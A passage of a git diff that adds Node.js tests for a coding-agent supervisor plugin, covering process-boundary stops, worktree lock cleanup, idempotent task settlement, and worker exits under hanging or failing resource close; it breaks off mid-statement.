}); + } +} + +async function storeTerminal(root, record, runtime) { + await mkdir(record.cwd, { recursive: true }); + const stored = await createTask({ + root, + prompt: 'keep this prompt private', + record, + }); + if (runtime) await writeRuntimeRecord(root, record.id, runtime); + return stored; +} + +function lockExecute(task, worktreePath, { inspect, clean } = {}) { + const calls = []; + return { + calls, + execute: async (command, args) => { + calls.push([command, args]); + if (command === 'git') return { stdout: `${SHA}\n` }; + if (args[0] === 'lock' && args[1] === 'inspect') { + if (typeof inspect === 'function') return inspect(args); + return { stdout: JSON.stringify(inspect ?? lockInspectReceipt({ task: task.worktree_task ?? task.id, worktreePath, branch: task.branch, wrapperPid: 4242, startTicks: '100' })) }; + } + if (args[0] === 'lock' && args[1] === 'clean') { + if (typeof clean === 'function') return clean(args); + return { stdout: JSON.stringify({ state: 'unlocked', cleaned: true, lock_id: args.at(-1) }) }; + } + throw new Error(`unexpected ${command} ${args.join(' ')}`); + }, + }; +} + +function settleDeps(harness, extra = {}) { + const snapshot = extra.git ?? gitSnapshot({ branch: extra.branch ?? 'codex/lifecycle-one' }); + return { + adapter: harness.adapter, + inspectBoundary: extra.inspectBoundary, + stopExactBoundary: extra.stopExactBoundary, + drainGraceMs: 0, + sleep: async () => {}, + snapshotGit: extra.snapshotGit ?? (async () => snapshot), + snapshotUnits: extra.snapshotUnits ?? (async () => structuredClone(harness.state.unrelated)), + execute: extra.execute, + ...extra, + }; +} + +test('inspectExactProcessBoundary exposes only the tri-state vocabulary', async () => { + const harness = createBoundaryHarness(); + const active = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(PROCESS_BOUNDARY_STATES.includes(active.state), true); + assert.equal(active.state, 'active'); + assert.equal(active.stop_allowed, true); + + harness.state.activeState = 'inactive'; + harness.state.populated = false; + const empty = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(empty.state, 'inactive_empty'); + assert.equal(empty.stop_allowed, false); +}); + +test('T2 unreadable /proc is unknown and refuses stop', async () => { + const harness = createBoundaryHarness({ procErrors: { 4242: 'EPERM' } }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.stop_allowed, false); + assert.equal(inspection.code, 'worker_boundary_pid_visibility_unknown'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_pid_visibility_unknown', + ); + assert.equal(harness.state.actions.some((args) => args[1] === 'stop' || args.includes('stop')), false); +}); + +test('identity mismatch never stops another unit', async () => { + const harness = createBoundaryHarness({ invocationId: 'ffffffffffffffffffffffffffffffff' }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.code, 'worker_boundary_identity_mismatch'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_identity_mismatch', + ); + assert.equal(harness.state.stopCalls, 0); + assert.equal(harness.state.actions.some((args) => args.includes(OTHER_UNIT) && args[1] === 'stop'), false); +}); + +test('T1 completed receipt plus populated cgroup does not project succeeded', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't1-live', cwd, worktree_task: 't1-live' }); + await storeTerminal(root, taskRecord, { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }); + const { execute, calls } = lockExecute(taskRecord, cwd); + const inspected = await taskStatus(root, 't1-live', settleDeps(harness, { + execute, + snapshotUnits: async () => null, + })); + assert.notEqual(inspected.state, 'succeeded'); + assert.equal(inspected.state, 'transport_lost'); + assert.equal(inspected.task.status, 'transport_lost'); + assert.equal(inspected.task.result, undefined); + assert.equal(inspected.task.handoff, undefined); + assert.equal(inspected.task.finished_at, undefined); + assert.equal(inspected.task.stop_reason, undefined); + assert.doesNotMatch(JSON.stringify(inspected), /keep this prompt private/u); + const stored = (await readTask(root, 't1-live')).task; + assert.equal(stored.status, 'completed'); + assert.equal(stored.result, 'ok'); + assert.equal(stored.cleanup.status, 'unknown'); + assert.equal(harness.state.populated, true); + assert.equal(harness.state.stopCalls, 0); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + }); +}); + +test('incident 1: namespace-abandoned live lock is not cleaned until exact empty proof', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const runtime = incidentOneRuntime(); + const harness = createBoundaryHarness({ + receipt: runtime.process_boundary, + leaderPid: runtime.pid, + workerPid: 1818350, + startTicks: runtime.process_start_ticks, + workerTicks: '579125378', + }); + const taskRecord = terminalTaskRecord({ + id: INCIDENT_1_TASK_ID, + cwd, + branch: 'codex/r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825', + worktree_task: INCIDENT_1_TASK_ID, + }); + await storeTerminal(root, taskRecord, runtime); + let cleanedBeforeEmpty = false; + const { execute, calls } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: INCIDENT_1_TASK_ID, + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: runtime.pid, + startTicks: runtime.process_start_ticks, + }), + clean: (args) => { + if (harness.state.populated) cleanedBeforeEmpty = true; + return { stdout: JSON.stringify({ state: 'unlocked', lock_id: args.at(-1) }) }; + }, + }); + const first = await settleLocalTaskLifecycle(root, (await readTask(root, INCIDENT_1_TASK_ID)).task, runtime, settleDeps(harness, { + execute, + git: gitSnapshot({ branch: taskRecord.branch }), + })); + assert.equal(first.final, true); + assert.equal(first.cleanup, 'recovered'); + assert.equal(first.boundary, 'inactive_empty'); + assert.equal(first.lock, 'cleaned'); + assert.deepEqual(lifecycleKeys(first), [ + 'version', 'task_id', 'stored_status', 'projected_status', 'public_state', 'final', 'cleanup', 'boundary', 'lock', 'reason', + ]); + assert.equal(cleanedBeforeEmpty, false); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + const projected = projectSupervisorTerminalReceipt((await readTask(root, INCIDENT_1_TASK_ID)).task); + assert.equal(projectSupervisorPublicState((await readTask(root, INCIDENT_1_TASK_ID)).task), 'succeeded'); + assert.equal(projected.status, 'completed'); + assert.equal(projected.result, 'ok'); + const second = await cleanupLocalTaskLifecycle(root, (await readTask(root, INCIDENT_1_TASK_ID)).task, runtime, settleDeps(harness, { execute })); + assert.equal(second.cleanup, 'recovered'); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('incident 2: second host reproduction recovers only the exact unit', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const runtime = incidentTwoRuntime(); + const harness = createBoundaryHarness({ + receipt: runtime.process_boundary, + leaderPid: runtime.pid, + workerPid: 2394670, + startTicks: runtime.process_start_ticks, + workerTicks: '579387336', + }); + const taskRecord = terminalTaskRecord({ + id: INCIDENT_2_TASK_ID, + cwd, + branch: 'codex/r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825', + worktree_task: INCIDENT_2_TASK_ID, + }); + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: INCIDENT_2_TASK_ID, + lockId: 'b85a6979d2c04cf1887c526be640dfa4', + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: runtime.pid, + startTicks: runtime.process_start_ticks, + }), + }); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, INCIDENT_2_TASK_ID)).task, runtime, settleDeps(harness, { + execute, + git: gitSnapshot({ branch: taskRecord.branch }), + })); + assert.equal(settled.final, true); + assert.equal(settled.stored_status, 'completed'); + assert.equal(harness.state.stopCalls, 1); + assert.equal(harness.state.actions.some((args) => args.includes(OTHER_UNIT) && args[1] === 'stop'), false); + assert.equal((await readTask(root, INCIDENT_2_TASK_ID)).task.status, 'completed'); + }); +}); + +test('T3 cleanup refusal records a content-free exit-code class', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness({ activeState: 'inactive', populated: false }); + const taskRecord = terminalTaskRecord({ id: 't3-lock', cwd, worktree_task: 't3-lock' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: 't3-lock', + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: 4242, + startTicks: '100', + }), + clean: () => { + throw Object.assign(new Error('dead-local policy does not apply: active'), { status: 5 }); + }, + }); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't3-lock')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, false); + assert.equal(settled.lock, 'unknown'); + const events = await readFile(path.join(root, 'tasks', 't3-lock', 'events.jsonl'), 'utf8'); + assert.match(events, /"exit_code_class":"exit_5"/u); + assert.doesNotMatch(events, /dead-local policy does not apply/u); + assert.doesNotMatch(events, /keep this prompt private/u); + }); +}); + +test('T4 exact stop failure records cgroup_not_empty verbatim', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't4-empty', cwd, worktree_task: 't4-empty' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't4-empty')).task, runtime, settleDeps(harness, { + execute, + stopExactBoundary: async () => { + throw Object.assign(new Error('Owned systemd process boundary still has descendants after exact unit stop.'), { code: 'cgroup_not_empty' }); + }, + })); + assert.equal(settled.final, false); + assert.equal(settled.reason, 'boundary_not_empty'); + const stored = (await readTask(root, 't4-empty')).task; + assert.equal(stored.status, 'completed'); + assert.equal(stored.cleanup.code, 'cgroup_not_empty'); + const events = await readFile(path.join(root, 'tasks', 't4-empty', 'events.jsonl'), 'utf8'); + assert.match(events, /"code":"cgroup_not_empty"/u); + assert.match(events, /"forced":true/u); + }); +}); + +test('T5 dead-local clean is refused without inactive_empty proof', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness({ procErrors: { 4300: 'EPERM' } }); + const taskRecord = terminalTaskRecord({ id: 't5-unknown', cwd, worktree_task: 't5-unknown' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't5-unknown')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, false); + assert.equal(settled.boundary, 'unknown'); + assert.equal(settled.public_state, 'transport_lost'); + assert.equal(harness.state.stopCalls, 0); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + const classified = classifySupervisorTerminalReceipt((await readTask(root, 't5-unknown')).task); + assert.equal(classified.projected_status, 'transport_lost'); + assert.equal(classified.corrected, false); + }); +}); + +test('T6 post-terminal writes are additive and leave stored status immutable', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ + id: 't6-immutable', + cwd, + result: 'ok', + finished_at: '2026-08-25T21:16:29.745Z', + }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + const { paths } = await storeTerminal(root, taskRecord, runtime); + const before = JSON.parse(await readFile(paths.record, 'utf8')); + const { execute } = lockExecute(taskRecord, cwd); + await settleLocalTaskLifecycle(root, (await readTask(root, 't6-immutable')).task, runtime, settleDeps(harness, { execute })); + const after = JSON.parse(await readFile(paths.record, 'utf8')); + assert.equal(after.status, 'completed'); + assert.equal(after.schema, 'codex-co-engineer.task.v1'); + assert.equal(after.result, before.result); + assert.equal(after.finished_at, before.finished_at); + assert.equal(after.stop_reason, before.stop_reason); + assert.equal(typeof after.cleanup, 'object'); + assert.notEqual(after.revision, before.revision); + }); +}); + +test('T7 repeated settlement is idempotent and stops at most once', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't7-once', cwd, worktree_task: 't7-once' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const deps = settleDeps(harness, { execute }); + const first = await settleLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, runtime, deps); + const second = await settleLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, await readRuntimeRecord(root, 't7-once'), deps); + const third = await cleanupLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, await readRuntimeRecord(root, 't7-once'), deps); + assert.equal(first.final, true); + assert.equal(second.final, true); + assert.equal(third.cleanup, first.cleanup); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('R-TRUTH classifier runs only after lifecycle finality', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ + id: 'rtruth-after-final', + cwd, + result: 'RetriableError [unavailable] PING timed out', + }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const pending = classifySupervisorTerminalReceipt({ + ...taskRecord, + cleanup: { status: 'pending', boundary: 'active', lock: 'active', code: 'worker_boundary_pending' }, + }); + assert.equal(pending.projected_status, 'transport_lost'); + assert.equal(pending.public_state, 'transport_lost'); + assert.equal(pending.corrected, false); + const projectedPending = projectSupervisorTerminalReceipt({ + ...taskRecord, + cleanup: { status: 'pending', boundary: 'active', lock: 'active', code: 'worker_boundary_pending' }, + }); + assert.equal(projectedPending.result, undefined); + assert.equal(projectedPending.finished_at, undefined); + const { execute } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 'rtruth-after-final')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, true); + assert.equal(settled.projected_status, 'failed'); + assert.equal(settled.public_state, 'failed'); + assert.equal((await readTask(root, 'rtruth-after-final')).task.status, 'completed'); + const status = await supervisorStatus(root, { + probeBoundary: async () => ({ ready: true, status: 'prerequisites_ready', provider_started: false }), + readProviderReadiness: async () => ({ + grok: { installed: true, ready: true, transport: 'acp' }, + 'cursor-local': { installed: true, ready: true, transport: 'acp' }, + dsh: { installed: true, ready: true, transport: 'acpx' }, + 'cursor-cloud': { installed: true, ready: true, transport: 'cursor-sdk' }, + }), + adapter: harness.adapter, + drainGraceMs: 0, + sleep: async () => {}, + snapshotGit: async () => gitSnapshot(), + snapshotUnits: async () => structuredClone(harness.state.unrelated), + execute, + }); + assert.equal(status.tasks[0].status, 'failed'); + assert.equal(status.tasks[0].error.code, 'completed_with_terminal_error'); + }); +}); + +test('cleared post-stop generation still withholds lock release until inactive_empty, including cancelled storage', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const escaped = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + procCgroups: { 4300: '/user.slice/user-1000.slice/user@1000.service/app.slice/escaped.service' }, + }); + const taskRecord = terminalTaskRecord({ + id: 'cancel-until-empty', + cwd, + status: 'cancelled', + worktree_task: 'cancel-until-empty', + }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: escaped.receipt, + remembered_process_identities: [{ pid: 4300, start_ticks: '110', cgroup: escaped.receipt.control_group }], + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const blocked = await settleLocalTaskLifecycle(root, (await readTask(root, 'cancel-until-empty')).task, runtime, settleDeps(escaped, { execute })); + assert.equal(blocked.final, false); + assert.equal(blocked.boundary, 'unknown'); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + assert.equal((await readTask(root, 'cancel-until-empty')).task.status, 'cancelled'); + + const emptyHarness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + }); + const { execute: executeEmpty, calls: emptyCalls } = lockExecute(taskRecord, cwd); + const released = await settleLocalTaskLifecycle( + root, + (await readTask(root, 'cancel-until-empty')).task, + runtime, + settleDeps(emptyHarness, { execute: executeEmpty }), + ); + assert.equal(released.final, true); + assert.equal(released.boundary, 'inactive_empty'); + assert.equal(released.lock, 'cleaned'); + assert.equal(emptyCalls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('lock is retained until exact inactive_empty then released', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const escaped = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + procCgroups: { 4300: '/user.slice/user-1000.slice/user@1000.service/app.slice/escaped.service' }, + }); + const taskRecord = terminalTaskRecord({ id: 'lock-until-empty', cwd, worktree_task: 'lock-until-empty' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: escaped.receipt, + remembered_process_identities: [{ pid: 4300, start_ticks: '110', cgroup: escaped.receipt.control_group }], + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const blocked = await settleLocalTaskLifecycle(root, (await readTask(root, 'lock-until-empty')).task, runtime, settleDeps(escaped, { execute })); + assert.equal(blocked.final, false); + assert.equal(blocked.boundary, 'unknown'); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + assert.equal((await readTask(root, 'lock-until-empty')).task.status, 'completed'); + + const emptyHarness = createBoundaryHarness({ activeState: 'inactive', populated: false }); + const { execute: executeEmpty, calls: emptyCalls } = lockExecute(taskRecord, cwd); + const released = await settleLocalTaskLifecycle( + root, + (await readTask(root, 'lock-until-empty')).task, + runtime, + settleDeps(emptyHarness, { execute: executeEmpty }), + ); + assert.equal(released.final, true); + assert.equal(released.boundary, 'inactive_empty'); + assert.equal(released.lock, 'cleaned'); + assert.equal(emptyCalls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('legacy terminal receipts without a local boundary stay on the R-TRUTH seam', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + await storeTerminal(root, terminalTaskRecord({ + id: 'legacy-no-boundary', + cwd, + workspace_kind: 'direct', + result: 'ok', + })); + const inspected = await taskStatus(root, 'legacy-no-boundary'); + assert.equal(inspected.state, 'succeeded'); + assert.equal((await readTask(root, 'legacy-no-boundary')).task.cleanup, undefined); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs new file mode 100644 index 0000000..19ad2ff --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs @@ -0,0 +1,356 @@ +// Adversarial worker-exit coverage: hanging close/handoff, hostile close +// errors, timeout/cancel/transport, and no replay after resource-close failure. + +import assert from 'node:assert/strict'; +import { mkdtemp, mkdir, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + WORKER_CLEANUP_CODES, + boundedWtbHandoff, + closeRetainedAcpResources, + emitWorkerTerminalStdout, + persistWorkerTerminal, + requestWorkerExit, + runAcpTask, + runAcpWorkerCli, + workerSeamIncident, +} from '../mcp/v3/acp-worker.mjs'; +import { createTask, readTask, updateTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + CONTENT_FREE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_URL, + contentFreeCleanup, + hangingPromise, + hangingRuntime, + incidentReceipt, + INCIDENT_1, +} from './fixtures/r1-terminal-worker-exit-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); +const WTB_RELATED_KEYS = [ + 'WORKTREE_BOOTSTRAP_TASK', + 'WORKTREE_BOOTSTRAP_BRANCH', + 'WORKTREE_BOOTSTRAP_MANIFEST', + 'WORKTREE_BOOTSTRAP_START_SHA', + 'WORKTREE_BOOTSTRAP_WRITER_TOKEN', +]; + +function deploymentShapedWtbEnv(taskName) { + return { + WORKTREE_BOOTSTRAP_TASK: taskName, + WORKTREE_BOOTSTRAP_BRANCH: 'codex/cli-close-timeout', + WORKTREE_BOOTSTRAP_MANIFEST: '/nonexistent/wtb-manifest.json', + WORKTREE_BOOTSTRAP_START_SHA: '0'.repeat(40), + WORKTREE_BOOTSTRAP_WRITER_TOKEN: 'hostile-writer-token', + }; +} + +function sanitizedWtbEnv() { + return {}; +} + +function stubWtbRunFile(calls) { + return async (command, argv = []) => { + calls.push({ command, argv: [...argv] }); + assert.equal(command, 'worktree-bootstrap'); + assert.equal(path.basename(command), command); + return { stdout: '{}' }; + }; +} + +function assertStubbedWtbOnly(calls, { env, cwd }) { + assert.notEqual(env, process.env); + for (const key of WTB_RELATED_KEYS) { + if (!env.WORKTREE_BOOTSTRAP_TASK) assert.equal(Object.hasOwn(env, key), false); + } + if (env.WORKTREE_BOOTSTRAP_TASK) { + assert.equal(calls.length, 1); + assert.deepEqual(calls[0], { + command: 'worktree-bootstrap', + argv: ['verify', env.WORKTREE_BOOTSTRAP_TASK, '--repo', cwd, '--require-writer'], + }); + } else { + assert.equal(calls.length, 0); + } +} + +async function fixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-worker-exit-adv-')); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const taskId = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id: taskId, + status: extra.status ?? 'accepted', + provider: extra.provider ?? 'grok', + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + ...(extra.cliArgv ? { cli_argv: extra.cliArgv } : {}), + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId }; +} + +test('hanging ACP close times out at the bound and still records cleanup', async () => { + const value = await fixture({ id: 'hanging-close' }); + const hung = hangingPromise(); + const runtime = hangingRuntime(() => hung.promise); + const started = Date.now(); + const evidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'hanging-close' }, + timeoutMs: 40, + }); + const elapsed = Date.now() - started; + hung.resolve(); + assert.equal(evidence.acp_close, 'timeout'); + assert.equal(evidence.codes[0], WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.ok(elapsed >= 40); + assert.ok(elapsed < 400); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.equal(terminal.fallback_safe, false); + assert.equal(workerSeamIncident(terminal), false); +}); + +test('throwing ACP close is failed, content-free, and never enables replay', async () => { + const value = await fixture({ id: 'throwing-close' }); + const runtime = hangingRuntime(async () => { + throw new Error(`provider failed for ${HOSTILE_SECRET} at ${HOSTILE_PATH} ${HOSTILE_URL}`); + }); + const evidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'throwing-close' }, + }); + assert.equal(evidence.acp_close, 'failed'); + assert.equal(evidence.codes[0], WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'failed', + error: { code: 'acp_worker_failed', message: 'ACP worker failed.' }, + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.fallback_safe, false); + assert.equal(contentFreeCleanup(terminal.cleanup), true); + assert.match(terminal.cleanup.code, CONTENT_FREE); + assert.equal(JSON.stringify(terminal.cleanup).includes(HOSTILE_SECRET), false); + assert.equal(JSON.stringify(terminal.cleanup).includes(HOSTILE_PATH), false); +}); + +test('hanging WTB handoff records lock_release_unproven and still allows stdout', async () => { + const value = await fixture({ id: 'hanging-handoff' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const hung = hangingPromise(); + const started = Date.now(); + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'hanging-handoff' }, + cwd: value.cwd, + timeoutMs: 40, + runFileImpl: () => hung.promise, + }); + const elapsed = Date.now() - started; + hung.resolve({ stdout: '{}' }); + assert.equal(result.wtb_handoff, 'timeout'); + assert.equal(result.code, WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN); + assert.ok(elapsed >= 40); + assert.ok(elapsed < 400); + const writes = []; + emitWorkerTerminalStdout(result.task, (chunk) => writes.push(chunk)); + assert.equal(JSON.parse(writes[0]).status, 'completed'); +}); + +test('failed WTB handoff is cleanup_failed and content-free', async () => { + const value = await fixture({ id: 'failed-handoff' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'failed-handoff' }, + cwd: value.cwd, + runFileImpl: async () => { + throw new Error(`handoff leaked ${HOSTILE_SECRET} ${HOSTILE_PATH}`); + }, + }); + assert.equal(result.wtb_handoff, 'failed'); + assert.equal(result.code, WORKER_CLEANUP_CODES.CLEANUP_FAILED); + assert.equal(contentFreeCleanup(result.task.cleanup), true); + assert.equal(JSON.stringify(result.task.cleanup).includes(HOSTILE_SECRET), false); +}); + +test('CLI timeout of resource close still emits stdout and exits without replay', async () => { + for (const env of [ + deploymentShapedWtbEnv('cli-close-timeout'), + sanitizedWtbEnv(), + ]) { + const value = await fixture({ id: 'cli-close-timeout' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const wtbCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env, + cwd: value.cwd, + runFileImpl: stubWtbRunFile(wtbCalls), + runAcpTaskImpl: async () => persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + fallback_safe: false, + }, { + acp_close: 'timeout', + codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT], + }, { wtb_handoff: 'not_applicable' }), + handoffImpl: async () => { + const current = (await readTask(value.root, value.taskId)).task; + assert.equal(current.fallback_safe, false); + assert.equal(current.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + return { attempted: false, wtb_handoff: 'not_applicable', task: current }; + }, + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(exits[0], 0); + assert.equal(JSON.parse(writes[0]).task_id, value.taskId); + assert.equal((await readTask(value.root, value.taskId)).task.fallback_safe, false); + assertStubbedWtbOnly(wtbCalls, { env, cwd: value.cwd }); + } +}); + +test('incident-shaped CLI success without cleanup is denied stdout', async () => { + for (const env of [ + deploymentShapedWtbEnv('incident-cli'), + sanitizedWtbEnv(), + ]) { + const value = await fixture({ id: 'incident-cli' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const wtbCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env, + cwd: value.cwd, + runFileImpl: stubWtbRunFile(wtbCalls), + runAcpTaskImpl: async () => incidentReceipt(INCIDENT_1, { id: value.taskId }), + handoffImpl: async () => ({ + attempted: false, + wtb_handoff: 'not_applicable', + task: incidentReceipt(INCIDENT_1, { id: value.taskId }), + }), + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(writes.length, 0); + assert.equal(exits[0], 1); + assertStubbedWtbOnly(wtbCalls, { env, cwd: value.cwd }); + } +}); + +test('timeout, cancel, and transport_lost keep their semantics and do not replay', async () => { + const lost = await fixture({ id: 'transport-lost-exit' }); + await updateTask(lost.root, lost.taskId, { status: 'transport_lost' }); + await assert.rejects( + runAcpTask({ root: lost.root, taskId: lost.taskId }), + (error) => error.code === 'transport_lost', + ); + assert.equal((await readTask(lost.root, lost.taskId)).task.status, 'transport_lost'); + + const cancelled = await fixture({ + id: 'pre-aborted-exit', + cliArgv: [process.execPath, '-e', 'process.stdout.write("SHOULD_NOT_RUN")'], + }); + const controller = new AbortController(); + controller.abort(); + const { runCliFallback } = await 